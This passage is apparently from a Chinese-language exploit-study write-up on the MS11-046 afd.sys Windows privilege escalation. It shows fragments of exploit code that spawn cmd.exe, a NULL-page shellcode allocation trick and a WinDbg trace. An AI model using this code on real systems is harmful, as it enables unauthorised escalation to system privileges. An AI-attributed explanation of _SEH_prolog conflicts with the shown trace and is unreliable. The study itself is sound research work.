GetStartupInfo(&stStartup);
CreateProcess(NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi);
printf("OK!\n");
return 0;
}
--------------------------------------------------------------------
上面的代码就可以成功运行
不得不佩服写利用代码的人,非常懂得变通,希望自己也能有这么一天。
☆ 遇到的问题
1. ZwAllocateVirtualMemory分配失败问题
使用原始的shellcode内存分配代码会遇到问题
--------------------------------------------------------------------
LPVOID addr = (LPVOID)0x00000000;
ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
&addr,
0,
&dwShellSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if ((ULONG_PTR)addr != 0x00000000) {
ErrorQuit("failed!\n");
}
--------------------------------------------------------------------
会提示failed. 这里其实在于调用函数参数问题
来看MSDN上关于ZwAllocateVirtualMemory函数的说明
--------------------------------------------------------------------
NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress, <---
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
[in, out] BaseAddress
A pointer to a variable that will receive the base address of the
allocated region of pages. If the initial value of this parameter
is non-NULL, the region is allocated starting at the specified virtual
address rounded down to the next host page size address boundary.
If the initial value of this parameter is NULL, the operating
system will determine where to allocate the region.
--------------------------------------------------------------------
可以发现BaseAddress的值如果想预设,那么其值就不能为0,可以设置该值为
LPVOID addr = (LPVOID)0x00000001;
这样就能成功在地址为0x00000000的地方分配内存了(其中涉及到了内存对齐)
2. 调试_SEH_prolog的问题
在使用windbg调试内核遇到指令
call afd!_SEH_prolog
如果直接运行p,那么相当于运行了g命令,程序直接继续运行了,
为了处理这种情况,可以使用t/pt/p结合的命令来绕过,
或者直接在该指令之后的某个位置设置断点即可
--------------------------------------------------------------------
3: kd> pt
Breakpoint 0 hit
afd!AfdConnect:
ba3e2afc 6a48 push 48h
1: kd> p
afd!AfdConnect+0x2:
ba3e2afe 6828f33dba push offset afd!ZeroIP6Address+0x70 (ba3df328)
1: kd> p
afd!AfdConnect+0x7:
ba3e2b03 e838a6ffff call afd!_SEH_prolog (ba3dd140)
1: kd> t
afd!_SEH_prolog:
ba3dd140 68ebe03dba push offset afd!_except_handler3 (ba3de0eb)
1: kd> pt
afd!_SEH_prolog+0x3a:
ba3dd17a c3 ret
1: kd> p
afd!AfdConnect+0xc:
ba3e2b08 8955c4 mov dword ptr [ebp-3Ch],edx
--------------------------------------------------------------------
具体原理(by Gemini)
--------------------------------------------------------------------
_SEH_prolog 的作用:
SEH代表Structured Exception Handling (结构化异常处理)。_SEH_prolog是由编译器自动生成的一个辅助函数,
用于在函数的开头设置异常处理框架。它的主要工作是:
在当前线程的栈上构建一个_EXCEPTION_REGISTRATION_RECORD结构体。
将这个结构体链接到内核模式异常处理链的头部(通过修改 fs:[0] 指向的链表)。
这个过程涉及到直接的栈指针(esp)和帧指针(ebp)操作,以及对栈上关键数据(如返回地址)的修改,
目的是为了当函数体内发生异常时,系统能够找到对应的异常处理器。
WinDbg p命令的工作原理:
p (step-over) 命令并不是简单地执行一条指令。当它遇到一个 call 指令时,
为了实现“越过”这个函数调用,它会在 call 指令的下一条指令(也就是 call 的返回地址)
处设置一个内部的、临时的断点。然后,它会恢复程序的运行(相当于执行了一个临时的 g)。
当程序执行完被调用的函数并返回时,就会触发这个临时断点,调试器重新获得控制权,
让你感觉是“一步”就越过了这个函数。
两者结合产生的问题:
_SEH_prolog 函数为了建立异常处理帧,会修改当前的栈结构。
在这个过程中,它很可能会覆盖、移动或以其他方式改变 call 指令压入栈中的原始返回地址。
因此,WinDbg在ba3e2b08处设置的那个临时断点,可能因为栈被 _SEH_prolog 修改而永远不会被命中。
当_SEH_prolog执行完毕后,它不会通过一个标准的ret指令返回到ba3e2b08,
而是直接跳转到函数体中需要执行的代码处,或者通过修改 ebp 和 esp 来巧妙地将控制流转移。
由于临时断点没有被命中,调试器也就不会停下来,程序会继续执行下去,从你的角度看,效果就和直接按了 g 一样。
--------------------------------------------------------------------
☆ 参考
微软公告:
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-046